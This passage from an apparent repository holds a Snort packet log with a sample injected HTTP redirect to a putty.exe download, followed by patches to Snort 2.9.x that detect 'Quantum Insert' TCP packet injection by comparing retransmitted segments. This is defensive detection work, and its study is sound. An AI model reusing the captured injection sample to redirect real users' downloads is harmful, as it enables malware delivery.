0.... 80 | 81 | Packet 82 | sensor id: 0 event id: 1 event second: 1429576915 83 | packet second: 1429576915 packet microsecond: 853780 84 | linktype: 1 packet_length: 630 85 | [ 0] 00 0C 29 8C 8B 4A 00 0C 29 8D 0A 0C 08 00 45 00 ..)..J..).....E. 86 | [ 16] 02 68 C8 C0 40 00 33 06 21 82 2E 2B 22 1F 0A 00 .h..@.3.!..+"... 87 | [ 32] 01 04 00 50 C8 9E 2E A2 07 38 11 C8 D9 BC 80 18 ...P.....8...... 88 | [ 48] 00 7A 8E CC 00 00 01 01 08 0A 40 86 CF 87 00 A4 .z........@..... 89 | [ 64] E2 77 48 54 54 50 2F 31 2E 31 20 33 30 32 20 46 .wHTTP/1.1 302 F 90 | [ 80] 6F 75 6E 64 0D 0A 44 61 74 65 3A 20 54 75 65 2C ound..Date: Tue, 91 | [ 96] 20 32 31 20 41 70 72 20 32 30 31 35 20 30 30 3A 21 Apr 2015 00: 92 | [ 112] 34 31 3A 35 35 20 47 4D 54 0D 0A 53 65 72 76 65 41:55 GMT..Serve 93 | [ 128] 72 3A 20 41 70 61 63 68 65 0D 0A 4C 6F 63 61 74 r: Apache..Locat 94 | [ 144] 69 6F 6E 3A 20 68 74 74 70 3A 2F 2F 74 68 65 2E ion: http://the. 95 | [ 160] 65 61 72 74 68 2E 6C 69 2F 7E 73 67 74 61 74 68 earth.li/~sgtath 96 | [ 176] 61 6D 2F 70 75 74 74 79 2F 30 2E 36 34 2F 78 38 am/putty/0.64/x8 97 | [ 192] 36 2F 70 75 74 74 79 2E 65 78 65 0D 0A 43 6F 6E 6/putty.exe..Con 98 | [ 208] 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 33 30 30 tent-Length: 300 99 | [ 224] 0D 0A 4B 65 65 70 2D 41 6C 69 76 65 3A 20 74 69 ..Keep-Alive: ti 100 | [ 240] 6D 65 6F 75 74 3D 31 35 2C 20 6D 61 78 3D 31 30 meout=15, max=10 101 | 102 | 103 | Technical details of the patch 104 | ------------------------------ 105 | The patch adds the option to keep track of old TCP segments in the StreamTracker object of the Stream Preprocessor that performs the TCP reassembly. We found that this was the most efficient way, rather than making our own preprocessor. 106 | 107 | The QI event generated by the Stream preprocessor will also try to log the conflicting TCP segment as `ExtraData` in the unified2 log files. An extra eventtype had to be added to the Unified2 logging headers, called `EVENT_INFO_GENERIC_DATA` as there was no event type yet for generic data logging. 108 | 109 | It's possible that the QI event will trigger on out-of-order segments. We have seen this occur occasionally on SSL/TLS connections. A recommendation would be to focus only on HTTP traffic or only on the first content carrying packet if there's a high amount of false positives on your network. 110 | 111 | We hope these patches will eventually be incorporated upstream by Cisco/Sourcefire in some form. 112 | 113 | -------------------------------------------------------------------------------- /detection/snort/stream_quantuminsert-snort-2.9.6.2.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/generators.h b/src/generators.h 2 | index 554efbf..7e91ff6 100644 3 | --- a/src/generators.h 4 | +++ b/src/generators.h 5 | @@ -422,6 +422,7 @@ enum { 6 | #define STREAM5_DATA_AFTER_RST_RCVD 18 7 | #define STREAM5_WINDOW_SLAM 19 8 | #define STREAM5_NO_3WHS 20 9 | +#define STREAM5_QUANTUM_INSERT 21 10 | 11 | #define GENERATOR_DNS 131 12 | #define DNS_EVENT_OBSOLETE_TYPES 1 13 | @@ -579,6 +580,7 @@ enum { 14 | #define STREAM5_DATA_AFTER_RST_RCVD_STR "Data sent on stream after TCP Reset received" 15 | #define STREAM5_WINDOW_SLAM_STR "TCP window closed before receiving data" 16 | #define STREAM5_NO_3WHS_STR "TCP session without 3-way handshake" 17 | +#define STREAM5_QUANTUM_INSERT_STR "Possible Quantum Insert" 18 | 19 | #define STREAM5_INTERNAL_EVENT_STR "" 20 | 21 | diff --git a/src/preprocessors/Stream5/snort_stream5_tcp.c b/src/preprocessors/Stream5/snort_stream5_tcp.c 22 | index 79d417b..13f28ac 100644 23 | --- a/src/preprocessors/Stream5/snort_stream5_tcp.c 24 | +++ b/src/preprocessors/Stream5/snort_stream5_tcp.c 25 | @@ -49,6 +49,8 @@ 26 | #include 27 | #include 28 | 29 | +#include "Unified2_common.h" 30 | + 31 | #ifdef HAVE_CONFIG_H 32 | #include "config.h" 33 | #endif 34 | @@ -194,6 +196,7 @@ extern PreprocStats preprocRuleOptionPerfStats; 35 | #define EVENT_BAD_ACK 0x00008000 36 | #define EVENT_DATA_AFTER_RST_RCVD 0x00010000 37 | #define EVENT_WINDOW_SLAM 0x00020000 38 | +#define EVENT_QUANTUM_INSERT 0x00040000 39 | 40 | #define TF_NONE 0x0000 41 | #define TF_WSCALE 0x0001 42 | @@ -375,6 +378,12 @@ typedef struct _StreamTracker 43 | // TBD move out of here since only used per packet? 44 | StreamSegment* seglist_next; /* next queued segment to flush */ 45 | 46 | + // Keep track of acked/purged segments, configurable with `max_track_old_segs` 47 | + StreamSegment *qi_seglist; /* first queued segment */ 48 | + StreamSegment *qi_seglist_tail; /* last queued segment */ 49 | + StreamSegment *qi_inserted_seg; /* the inconsistent segment, used for extra_data */ 50 | + uint32_t qi_seg_count; /* number of current queued segments */ 51 | + 52 | #ifdef DEBUG 53 | int segment_ordinal; 54 | #endif 55 | @@ -1261,6 +1270,38 @@ static inline uint16_t GetTcpReassemblyPolicy(int os_policy) 56 | 57 | #define STATIC_FP ((s5TcpPolicy->flags & STREAM5_CONFIG_STATIC_FLUSHPOINTS)?1:0) 58 | 59 | +static int GetQuantumPacket(void *ssn_ptr, uint8_t **buf, uint32_t *len, uint32_t *type) 60 | +{ 61 | + Stream5LWSession* scb = NULL; 62 | + TcpSession *tcpssn = NULL; 63 | + StreamTracker *listener = NULL; 64 | + StreamSegment *seg = NULL; 65 | + 66 | + if (ssn_ptr == NULL) 67 | + return 0; 68 | + 69 | + scb = (Stream5LWSession*) ssn_ptr; 70 | + if (scb->proto_specific_data) 71 | + tcpssn = (TcpSession *)scb->proto_specific_data->data; 72 | + 73 | + if (tcpssn == NULL) 74 | + return 0; 75 | + 76 | + listener = &tcpssn->client; 77 | + seg = listener->qi_inserted_seg; 78 | + 79 | + if (seg == NULL) 80 | + return 0; 81 | + 82 | + *buf = (uint8_t *)seg->data; 83 | + *len = seg->size; 84 | + *type = EVENT_INFO_GENERIC_DATA; 85 | + 86 | + listener->qi_inserted_seg = NULL; 87 | + 88 | + return 1; 89 | +} 90 | + 91 | static void Stream5ParseTcpArgs(struct _SnortConfig *sc, Stream5TcpConfig *config, char *args, Stream5TcpPolicy *s5TcpPolicy) 92 | { 93 | char **toks; 94 | @@ -1287,6 +1328,10 @@ static void Stream5ParseTcpArgs(struct _SnortConfig *sc, Stream5TcpConfig *confi 95 | s5TcpPolicy->max_consec_small_segs = S5_DEFAULT_CONSEC_SMALL_SEGS; 96 | s5TcpPolicy->max_consec_small_seg_size = S5_DEFAULT_MAX_SMALL_SEG_SIZE; 97 | 98 | + s5TcpPolicy->max_track_old_segs = S5_DEFAULT_TRACK_OLD_SEGS; 99 | + if (stream_api) 100 | + s5TcpPolicy->xtra_quantum_id = stream_api->reg_xtra_data_cb(GetQuantumPacket); 101 | + 102 | if(args != NULL && strlen(args) != 0) 103 | { 104 | toks = mSplit(args, ",", 0, &num_toks, 0); 105 | @@ -1556,6 +1601,37 @@ static void Stream5ParseTcpArgs(struct _SnortConfig *sc, Stream5TcpConfig *confi 106 | } 107 | max_s_toks = 2; 108 | } 109 | + else if(!strcasecmp(stoks[0], "max_track_old_segs")) 110 | + { 111 | + if(stoks[1]) 112 | + { 113 | + long_val = SnortStrtol(stoks[1], &endPtr, 10); 114 | + if (errno == ERANGE) 115 | + { 116 | + errno = 0; 117 | + FatalError("%s(%d) => Invalid Max Track Old Segments. Integer parameter required.\n", 118 | + file_name, file_line); 119 | + } 120 | + s5TcpPolicy->max_track_old_segs = (uint32_t)long_val; 121 | + } 122 | + 123 | + if (!stoks[1] || (endPtr == &stoks[1][0])) 124 | + { 125 | + FatalError("%s(%d) => Invalid Max Track Old Segments. Integer parameter required.\n", 126 | + file_name, file_line); 127 | + } 128 | + 129 | + if (((long_val > S5_MAX_MAX_TRACK_OLD_SEGS) || 130 | + (long_val < S5_MIN_MAX_TRACK_OLD_SEGS)) && 131 | + (long_val != 0)) 132 | + { 133 | + FatalError("%s(%d) => Invalid Max Track Old Segments." 134 | + " Must be 0 (disabled) or between %d and %d\n", 135 | + file_name, file_line, 136 | + S5_MAX_MAX_TRACK_OLD_SEGS, S5_MIN_MAX_TRACK_OLD_SEGS); 137 | + } 138 | + max_s_toks = 2; 139 | + } 140 | else if (!strcasecmp(stoks[0], "small_segments")) 141 | { 142 | char **ptoks; 143 | @@ -2022,6 +2098,11 @@ static void Stream5PrintTcpConfig(Stream5TcpPolicy *s5TcpPolicy) 144 | LogMessage(" Maximum number of segs to queue per session: %d\n", 145 | s5TcpPolicy->max_queued_segs); 146 | } 147 | + if (s5TcpPolicy->max_track_old_segs != 0) 148 | + { 149 | + LogMessage(" Maximum number of old segs to track per session: %d\n", 150 | + s5TcpPolicy->max_track_old_segs); 151 | + } 152 | if (s5TcpPolicy->flags) 153 | { 154 | LogMessage(" Options:\n"); 155 | @@ -2731,6 +2812,22 @@ static inline void EventNo3whs (Stream5TcpPolicy *s5TcpPolicy) 156 | NULL); /* rule info ptr */ 157 | } 158 | 159 | +static inline void EventQuantumInsert (Stream5TcpPolicy *s5TcpPolicy) 160 | +{ 161 | + // if(!(s5TcpPolicy->flags & STREAM_CONFIG_ENABLE_ALERTS)) 162 | + // return; 163 | + 164 | + s5stats.events++; 165 | + 166 | + SnortEventqAdd(GENERATOR_SPP_STREAM5, /* GID */ 167 | + STREAM5_QUANTUM_INSERT, /* SID */ 168 | + 1, /* rev */ 169 | + 0, /* class */ 170 | + 3, /* priority */ 171 | + STREAM5_QUANTUM_INSERT_STR, /* event msg */ 172 | + NULL); /* rule info ptr */ 173 | +} 174 | + 175 | /* 176 | * Utility functions for TCP stuff 177 | */ 178 | @@ -3704,6 +3801,10 @@ static inline void purge_all (StreamTracker *st) 179 | st->seglist = st->seglist_tail = st->seglist_next = NULL; 180 | st->seg_count = st->flush_count = 0; 181 | st->seg_bytes_total = st->seg_bytes_logical = 0; 182 | + 183 | + st->qi_seg_count = 0; 184 | + DeleteSeglist(st->qi_seglist); 185 | + st->qi_seglist = st->qi_seglist_tail = st->qi_inserted_seg = NULL; 186 | } 187 | 188 | // purge_flushed_ackd(): 189 | @@ -5522,6 +5623,69 @@ static inline StreamSegment *FindSegment(StreamTracker *st, uint32_t pkt_seq) 190 | return NULL; 191 | } 192 | 193 | +static inline StreamSegment *FindOldSegment(StreamTracker *st, uint32_t pkt_seq) 194 | +{ 195 | + int32_t dist_head; 196 | + int32_t dist_tail; 197 | + StreamSegment *ss; 198 | + 199 | + if (!st->qi_seglist) 200 | + return NULL; 201 | + 202 | + dist_head = pkt_seq - st->qi_seglist->seq; 203 | + dist_tail = pkt_seq - st->qi_seglist_tail->seq; 204 | + 205 | + if (dist_head <= dist_tail) 206 | + { 207 | + /* Start iterating at the head (left) */ 208 | + for (ss = st->qi_seglist; ss; ss = ss->next) 209 | + { 210 | + if (SEQ_EQ(ss->seq, pkt_seq)) 211 | + return ss; 212 | + 213 | + if (SEQ_GEQ(ss->seq, pkt_seq)) 214 | + break; 215 | + } 216 | + } 217 | + else 218 | + { 219 | + /* Start iterating at the tail (right) */ 220 | + for (ss = st->qi_seglist_tail; ss; ss = ss->prev) 221 | + { 222 | + if (SEQ_EQ(ss->seq, pkt_seq)) 223 | + return ss; 224 | + 225 | + if (SEQ_LT(ss->seq, pkt_seq)) 226 | + break; 227 | + } 228 | + } 229 | + return NULL; 230 | +} 231 | + 232 | +static inline int CheckQuantumInsert(StreamTracker *listener, 233 | + TcpDataBlock *tdb, 234 | + Packet *p) 235 | +{ 236 | + int ret = 0; 237 | + StreamSegment* seg = NULL; 238 | + 239 | + if (listener->seglist_tail && tdb->seq <= listener->seglist_tail->seq) { 240 | + seg = FindSegment(listener, tdb->seq); 241 | + } 242 | + if (seg == NULL && listener->qi_seglist_tail && tdb->seq <= listener->qi_seglist_tail->seq) { 243 | + seg = FindOldSegment(listener, tdb->seq); 244 | + } 245 | + if (seg) { 246 | + // compare smallest segment size 247 | + if (memcmp(p->data, seg->payload, MIN(p->dsize, seg->size)) != 0) { 248 | + listener->qi_inserted_seg = seg; 249 | + SetExtraData(p, listener->tcp_policy->xtra_quantum_id); 250 | + ret |= EVENT_QUANTUM_INSERT; 251 | + } 252 | + } 253 | + return ret; 254 | +} 255 | + 256 | void Stream5TcpSessionClear(Packet *p) 257 | { 258 | Stream5LWSession *lwssn; 259 | @@ -6736,8 +6900,10 @@ static int ProcessTcpData(Packet *p, StreamTracker *listener, TcpSession *tcpssn 260 | { 261 | if ( !(tcpssn->lwssn->ha_state.session_flags & SSNFLAG_STREAM_ORDER_BAD) ) 262 | { 263 | - if ( !SEQ_LEQ((tdb->seq + p->dsize), listener->r_nxt_ack) ) 264 | + if ( !SEQ_LEQ((tdb->seq + p->dsize), listener->r_nxt_ack) ) { 265 | tcpssn->lwssn->ha_state.session_flags |= SSNFLAG_STREAM_ORDER_BAD; 266 | + CheckQuantumInsert(listener, tdb, p); 267 | + } 268 | } 269 | ProcessTcpStream(listener, tcpssn, p, tdb, s5TcpPolicy); 270 | } 271 | @@ -7420,6 +7586,9 @@ static void LogTcpEvents(Stream5TcpPolicy *s5TcpPolicy, int eventcode) 272 | 273 | if (eventcode & EVENT_WINDOW_SLAM) 274 | EventWindowSlam(s5TcpPolicy); 275 | + 276 | + if (eventcode & EVENT_QUANTUM_INSERT) 277 | + EventQuantumInsert(s5TcpPolicy); 278 | } 279 | 280 | static inline void DisableInspection (Stream5LWSession* lwssn, Packet* p, char ignore) 281 | @@ -8428,6 +8597,8 @@ static int ProcessTcp(Stream5LWSession *lwssn, Packet *p, TcpDataBlock *tdb, 282 | if ((p->tcph->th_flags != 0) || (s5TcpPolicy->policy == STREAM_POLICY_LINUX)) 283 | { 284 | ProcessTcpData(p, listener, tcpssn, tdb, s5TcpPolicy); 285 | + if (listener->qi_inserted_seg) 286 | + eventcode |= EVENT_QUANTUM_INSERT; 287 | } 288 | else 289 | { 290 | @@ -9211,8 +9382,46 @@ static int Stream5SeglistDeleteNode (StreamTracker* st, StreamSegment* seg) 291 | if ( st->seglist_next == seg ) 292 | st->seglist_next = NULL; 293 | 294 | - SegmentFree(seg); 295 | - st->seg_count--; 296 | + // Keep track of `max_track_old_segs` segments 297 | + if (st->tcp_policy->max_track_old_segs) { 298 | + StreamSegment* prev = st->qi_seglist_tail; 299 | + StreamSegment* new = seg; 300 | + if(prev) 301 | + { 302 | + new->next = prev->next; 303 | + new->prev = prev; 304 | + prev->next = new; 305 | + if (new->next) 306 | + new->next->prev = new; 307 | + else 308 | + st->qi_seglist_tail = new; 309 | + } 310 | + else 311 | + { 312 | + new->next = st->qi_seglist; 313 | + if(new->next) 314 | + new->next->prev = new; 315 | + else 316 | + st->qi_seglist_tail = new; 317 | + st->qi_seglist = new; 318 | + } 319 | + 320 | + st->qi_seg_count++; 321 | + while (st->qi_seg_count > st->tcp_policy->max_track_old_segs) { 322 | + StreamSegment* old = st->qi_seglist; 323 | + st->qi_seglist = st->qi_seglist->next; 324 | + if (st->qi_seglist) 325 | + st->qi_seglist->prev = NULL; 326 | + if (st->qi_seglist == NULL) 327 | + st->qi_seglist_tail = NULL; 328 | + SegmentFree(old); 329 | + st->qi_seg_count--; 330 | + st->seg_count--; 331 | + } 332 | + } else { 333 | + SegmentFree(seg); 334 | + st->seg_count--; 335 | + } 336 | 337 | return ret; 338 | } 339 | diff --git a/src/preprocessors/Stream5/stream5_common.h b/src/preprocessors/Stream5/stream5_common.h 340 | index cbf35b0..b91c848 100644 341 | --- a/src/preprocessors/Stream5/stream5_common.h 342 | +++ b/src/preprocessors/Stream5/stream5_common.h 343 | @@ -75,6 +75,10 @@ 344 | #define S5_MAX_CONSEC_SMALL_SEGS 2048 /* 2048 single byte packets without acks is alot */ 345 | #define S5_MIN_CONSEC_SMALL_SEGS 0 /* 0 means disabled */ 346 | 347 | +#define S5_DEFAULT_TRACK_OLD_SEGS 10 /* keep track of 10 old TCP segments */ 348 | +#define S5_MIN_MAX_TRACK_OLD_SEGS 0 /* 0 means disabled */ 349 | +#define S5_MAX_MAX_TRACK_OLD_SEGS 2048 /* history of 2048 segments should be enough */ 350 | + 351 | /* target-based policy types */ 352 | #define STREAM_POLICY_FIRST 1 353 | #define STREAM_POLICY_LINUX 2 354 | @@ -300,6 +304,10 @@ typedef struct _Stream5TcpPolicy 355 | 356 | uint32_t max_consec_small_segs; 357 | uint32_t max_consec_small_seg_size; 358 | + 359 | + uint32_t max_track_old_segs; 360 | + uint32_t xtra_quantum_id; 361 | + 362 | char small_seg_ignore[MAX_PORTS/8]; 363 | 364 | } Stream5TcpPolicy; 365 | diff --git a/src/sfutil/Unified2_common.h b/src/sfutil/Unified2_common.h 366 | index 286d679..cf9c4e4 100644 367 | --- a/src/sfutil/Unified2_common.h 368 | +++ b/src/sfutil/Unified2_common.h 369 | @@ -179,7 +179,8 @@ typedef enum _EventInfoEnum 370 | EVENT_INFO_HTTP_HOSTNAME, 371 | EVENT_INFO_IPV6_SRC, 372 | EVENT_INFO_IPV6_DST, 373 | - EVENT_INFO_JSNORM_DATA 374 | + EVENT_INFO_JSNORM_DATA, 375 | + EVENT_INFO_GENERIC_DATA 376 | }EventInfoEnum; 377 | 378 | typedef enum _EventDataType 379 | diff --git a/tools/u2spewfoo/u2spewfoo.c b/tools/u2spewfoo/u2spewfoo.c 380 | index d274cfc..f6a74db 100644 381 | --- a/tools/u2spewfoo/u2spewfoo.c 382 | +++ b/tools/u2spewfoo/u2spewfoo.c 383 | @@ -43,6 +43,8 @@ 384 | 385 | #include "Unified2_common.h" 386 | 387 | +static void LogBuffer (const uint8_t* p, unsigned n); 388 | + 389 | #define SUCCESS 314159265 390 | #define STEVE -1 391 | #define FAILURE STEVE 392 | @@ -292,6 +294,11 @@ static void extradata_dump(u2record *record) { 393 | len, record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 394 | break; 395 | 396 | + case EVENT_INFO_GENERIC_DATA: 397 | + printf("Generic Data:\n"); 398 | + LogBuffer(record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData), len); 399 | + break; 400 | + 401 | case EVENT_INFO_SMTP_FILENAME: 402 | printf("SMTP Attachment Filename: %.*s\n", 403 | len,record->data + sizeof(Unified2ExtraDataHdr) + sizeof(SerialUnified2ExtraData)); 404 | -------------------------------------------------------------------------------- /detection/snort/stream_quantuminsert-snort-2.9.7.2.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/generators.h b/src/generators.h 2 | index b2ccc80..1ea43b1 100644 3 | --- a/src/generators.h 4 | +++ b/src/generators.h 5 | @@ -429,6 +429,7 @@ enum { 6 | #define STREAM_DATA_AFTER_RST_RCVD 18 7 | #define STREAM_WINDOW_SLAM 19 8 | #define STREAM_NO_3WHS 20 9 | +#define STREAM_QUANTUM_INSERT 21 10 | 11 | #define GENERATOR_DNS 131 12 | #define DNS_EVENT_OBSOLETE_TYPES 1 13 | @@ -586,6 +587,7 @@ enum { 14 | #define STREAM_DATA_AFTER_RST_RCVD_STR "Data sent on stream after TCP Reset received" 15 | #define STREAM_WINDOW_SLAM_STR "TCP window closed before receiving data" 16 | #define STREAM_NO_3WHS_STR "TCP session without 3-way handshake" 17 | +#define STREAM_QUANTUM_INSERT_STR "Possible Quantum Insert" 18 | 19 | #define STREAM_INTERNAL_EVENT_STR "" 20 | 21 | diff --git a/src/preprocessors/Stream6/snort_stream_tcp.c b/src/preprocessors/Stream6/snort_stream_tcp.c 22 | index e8df5c1..0708334 100644 23 | --- a/src/preprocessors/Stream6/snort_stream_tcp.c 24 | +++ b/src/preprocessors/Stream6/snort_stream_tcp.c 25 | @@ -49,6 +49,8 @@ 26 | #include 27 | #include 28 | 29 | +#include "Unified2_common.h" 30 | + 31 | #ifdef HAVE_CONFIG_H 32 | #include "config.h" 33 | #endif 34 | @@ -202,6 +204,7 @@ extern PreprocStats preprocRuleOptionPerfStats; 35 | #define EVENT_BAD_ACK 0x00008000 36 | #define EVENT_DATA_AFTER_RST_RCVD 0x00010000 37 | #define EVENT_WINDOW_SLAM 0x00020000 38 | +#define EVENT_QUANTUM_INSERT 0x00040000 39 | 40 | #define TF_NONE 0x0000 41 | #define TF_WSCALE 0x0001 42 | @@ -386,6 +389,12 @@ typedef struct _StreamTracker 43 | // TBD move out of here since only used per packet? 44 | StreamSegment* seglist_next; /* next queued segment to flush */ 45 | 46 | + // Keep track of acked/purged segments, configurable with `max_track_old_segs` 47 | + StreamSegment *qi_seglist; /* first queued segment */ 48 | + StreamSegment *qi_seglist_tail; /* last queued segment */ 49 | + StreamSegment *qi_inserted_seg; /* the inconsistent segment, used for extra_data */ 50 | + uint32_t qi_seg_count; /* number of current queued segments */ 51 | + 52 | #ifdef DEBUG 53 | int segment_ordinal; 54 | #endif 55 | @@ -1391,6 +1400,7 @@ StreamTcpPolicy *StreamTcpPolicyClone( StreamTcpPolicy *master ) 56 | clone->max_consec_small_segs = master->max_consec_small_segs; 57 | clone->max_consec_small_seg_size = master->max_consec_small_seg_size; 58 | memcpy(clone->small_seg_ignore, master->small_seg_ignore, sizeof(master->small_seg_ignore)); 59 | + clone->max_track_old_segs = master->max_track_old_segs; 60 | 61 | config = (StreamConfig *) sfPolicyUserDataGet(stream_online_config, getParserPolicy( snort_conf )); 62 | addStreamTcpPolicyToList( config->tcp_config, clone ); 63 | @@ -1533,6 +1543,39 @@ static inline uint16_t GetTcpReassemblyPolicy(int os_policy) 64 | 65 | #define STATIC_FP ((s5TcpPolicy->flags & STREAM_CONFIG_STATIC_FLUSHPOINTS)?1:0) 66 | 67 | +static int GetQuantumPacket(void *ssn_ptr, uint8_t **buf, uint32_t *len, uint32_t *type) 68 | +{ 69 | + SessionControlBlock* scb = NULL; 70 | + TcpSession *tcpssn = NULL; 71 | + StreamTracker *listener = NULL; 72 | + StreamSegment *seg = NULL; 73 | + 74 | + if (ssn_ptr == NULL) 75 | + return 0; 76 | + 77 | + scb = (SessionControlBlock*) ssn_ptr; 78 | + if (scb->proto_specific_data) 79 | + tcpssn = (TcpSession *)scb->proto_specific_data->data; 80 | + 81 | + if (tcpssn == NULL) 82 | + return 0; 83 | + 84 | + listener = &tcpssn->client; 85 | + seg = listener->qi_inserted_seg; 86 | + 87 | + if (seg == NULL) 88 | + return 0; 89 | + 90 | + *buf = (uint8_t *)seg->data; 91 | + *len = seg->size; 92 | + *type = EVENT_INFO_GENERIC_DATA; 93 | + 94 | + listener->qi_inserted_seg = NULL; 95 | + 96 | + return 1; 97 | +} 98 | + 99 | + 100 | static void StreamParseTcpArgs(struct _SnortConfig *sc, StreamTcpConfig *config, char *args, StreamTcpPolicy *s5TcpPolicy) 101 | { 102 | char **toks; 103 | @@ -1559,6 +1602,10 @@ static void StreamParseTcpArgs(struct _SnortConfig *sc, StreamTcpConfig *config, 104 | s5TcpPolicy->max_consec_small_segs = STREAM_DEFAULT_CONSEC_SMALL_SEGS; 105 | s5TcpPolicy->max_consec_small_seg_size = STREAM_DEFAULT_MAX_SMALL_SEG_SIZE; 106 | 107 | + s5TcpPolicy->max_track_old_segs = STREAM_DEFAULT_TRACK_OLD_SEGS; 108 | + if (stream_api) 109 | + s5TcpPolicy->xtra_quantum_id = stream_api->reg_xtra_data_cb(GetQuantumPacket); 110 | + 111 | if(args != NULL && strlen(args) != 0) 112 | { 113 | toks = mSplit(args, ",", 0, &num_toks, 0); 114 | @@ -1830,6 +1877,37 @@ static void StreamParseTcpArgs(struct _SnortConfig *sc, StreamTcpConfig *config, 115 | } 116 | max_s_toks = 2; 117 | } 118 | + else if(!strcasecmp(stoks[0], "max_track_old_segs")) 119 | + { 120 | + if(stoks[1]) 121 | + { 122 | + long_val = SnortStrtol(stoks[1], &endPtr, 10); 123 | + if (errno == ERANGE) 124 | + { 125 | + errno = 0; 126 | + FatalError("%s(%d) => Invalid Max Track Old Segments. Integer parameter required.\n", 127 | + file_name, file_line); 128 | + } 129 | + s5TcpPolicy->max_track_old_segs = (uint32_t)long_val; 130 | + } 131 | + 132 | + if (!stoks[1] || (endPtr == &stoks[1][0])) 133 | + { 134 | + FatalError("%s(%d) => Invalid Max Track Old Segments. Integer parameter required.\n", 135 | + file_name, file_line); 136 | + } 137 | + 138 | + if (((long_val > STREAM_MAX_MAX_TRACK_OLD_SEGS) || 139 | + (long_val < STREAM_MIN_MAX_TRACK_OLD_SEGS)) && 140 | + (long_val != 0)) 141 | + { 142 | + FatalError("%s(%d) => Invalid Max Track Old Segments." 143 | + " Must be 0 (disabled) or between %d and %d\n", 144 | + file_name, file_line, 145 | + STREAM_MAX_MAX_TRACK_OLD_SEGS, STREAM_MIN_MAX_TRACK_OLD_SEGS); 146 | + } 147 | + max_s_toks = 2; 148 | + } 149 | else if (!strcasecmp(stoks[0], "small_segments")) 150 | { 151 | char **ptoks; 152 | @@ -2309,6 +2387,11 @@ static void StreamPrintTcpConfig(StreamTcpPolicy *s5TcpPolicy) 153 | LogMessage(" Maximum number of segs to queue per session: %d\n", 154 | s5TcpPolicy->max_queued_segs); 155 | } 156 | + if (s5TcpPolicy->max_track_old_segs != 0) 157 | + { 158 | + LogMessage(" Maximum number of old segs to track per session: %d\n", 159 | + s5TcpPolicy->max_track_old_segs); 160 | + } 161 | if (s5TcpPolicy->flags) 162 | { 163 | LogMessage(" Options:\n"); 164 | @@ -3024,6 +3107,22 @@ static inline void EventNo3whs (StreamTcpPolicy *s5TcpPolicy) 165 | NULL); /* rule info ptr */ 166 | } 167 | 168 | +static inline void EventQuantumInsert (StreamTcpPolicy *s5TcpPolicy) 169 | +{ 170 | + // if(!(s5TcpPolicy->flags & STREAM_CONFIG_ENABLE_ALERTS)) 171 | + // return; 172 | + 173 | + s5stats.events++; 174 | + 175 | + SnortEventqAdd(GENERATOR_SPP_STREAM, /* GID */ 176 | + STREAM_QUANTUM_INSERT, /* SID */ 177 | + 1, /* rev */ 178 | + 0, /* class */ 179 | + 3, /* priority */ 180 | + STREAM_QUANTUM_INSERT_STR, /* event msg */ 181 | + NULL); /* rule info ptr */ 182 | +} 183 | + 184 | /* 185 | * Utility functions for TCP stuff 186 | */ 187 | @@ -4064,6 +4163,10 @@ static inline void purge_all (StreamTracker *st) 188 | st->seglist = st->seglist_tail = st->seglist_next = NULL; 189 | st->seg_count = st->flush_count = 0; 190 | st->seg_bytes_total = st->seg_bytes_logical = 0; 191 | + 192 | + st->qi_seg_count = 0; 193 | + DeleteSeglist(st->qi_seglist); 194 | + st->qi_seglist = st->qi_seglist_tail = st->qi_inserted_seg = NULL; 195 | } 196 | 197 | // purge_flushed_ackd(): 198 | @@ -6046,6 +6149,69 @@ static inline StreamSegment *FindSegment(StreamTracker *st, uint32_t pkt_seq) 199 | return NULL; 200 | } 201 | 202 | +static inline StreamSegment *FindOldSegment(StreamTracker *st, uint32_t pkt_seq) 203 | +{ 204 | + int32_t dist_head; 205 | + int32_t dist_tail; 206 | + StreamSegment *ss; 207 | + 208 | + if (!st->qi_seglist) 209 | + return NULL; 210 | + 211 | + dist_head = pkt_seq - st->qi_seglist->seq; 212 | + dist_tail = pkt_seq - st->qi_seglist_tail->seq; 213 | + 214 | + if (dist_head <= dist_tail) 215 | + { 216 | + /* Start iterating at the head (left) */ 217 | + for (ss = st->qi_seglist; ss; ss = ss->next) 218 | + { 219 | + if (SEQ_EQ(ss->seq, pkt_seq)) 220 | + return ss; 221 | + 222 | + if (SEQ_GEQ(ss->seq, pkt_seq)) 223 | + break; 224 | + } 225 | + } 226 | + else 227 | + { 228 | + /* Start iterating at the tail (right) */ 229 | + for (ss = st->qi_seglist_tail; ss; ss = ss->prev) 230 | + { 231 | + if (SEQ_EQ(ss->seq, pkt_seq)) 232 | + return ss; 233 | + 234 | + if (SEQ_LT(ss->seq, pkt_seq)) 235 | + break; 236 | + } 237 | + } 238 | + return NULL; 239 | +} 240 | + 241 | +static inline int CheckQuantumInsert(StreamTracker *listener, 242 | + TcpDataBlock *tdb, 243 | + Packet *p) 244 | +{ 245 | + int ret = 0; 246 | + StreamSegment* seg = NULL; 247 | + 248 | + if (listener->seglist_tail && tdb->seq <= listener->seglist_tail->seq) { 249 | + seg = FindSegment(listener, tdb->seq); 250 | + } 251 | + if (seg == NULL && listener->qi_seglist_tail && tdb->seq <= listener->qi_seglist_tail->seq) { 252 | + seg = FindOldSegment(listener, tdb->seq); 253 | + } 254 | + if (seg) { 255 | + // compare smallest segment size 256 | + if (memcmp(p->data, seg->payload, MIN(p->dsize, seg->size)) != 0) { 257 | + listener->qi_inserted_seg = seg; 258 | + SetExtraData(p, listener->tcp_policy->xtra_quantum_id); 259 | + ret |= EVENT_QUANTUM_INSERT; 260 | + } 261 | + } 262 | + return ret; 263 | +} 264 | + 265 | void StreamTcpSessionClear(Packet *p) 266 | { 267 | SessionControlBlock *scb; 268 | @@ -7344,8 +7510,10 @@ static int ProcessTcpData(Packet *p, StreamTracker *listener, TcpSession *tcpssn 269 | { 270 | if ( !(tcpssn->scb->ha_state.session_flags & SSNFLAG_STREAM_ORDER_BAD) ) 271 | { 272 | - if ( !SEQ_LEQ((tdb->seq + p->dsize), listener->r_nxt_ack) ) 273 | + if ( !SEQ_LEQ((tdb->seq + p->dsize), listener->r_nxt_ack) ) { 274 | tcpssn->scb->ha_state.session_flags |= SSNFLAG_STREAM_ORDER_BAD; 275 | + CheckQuantumInsert(listener, tdb, p); 276 | + } 277 | } 278 | ProcessTcpStream(listener, tcpssn, 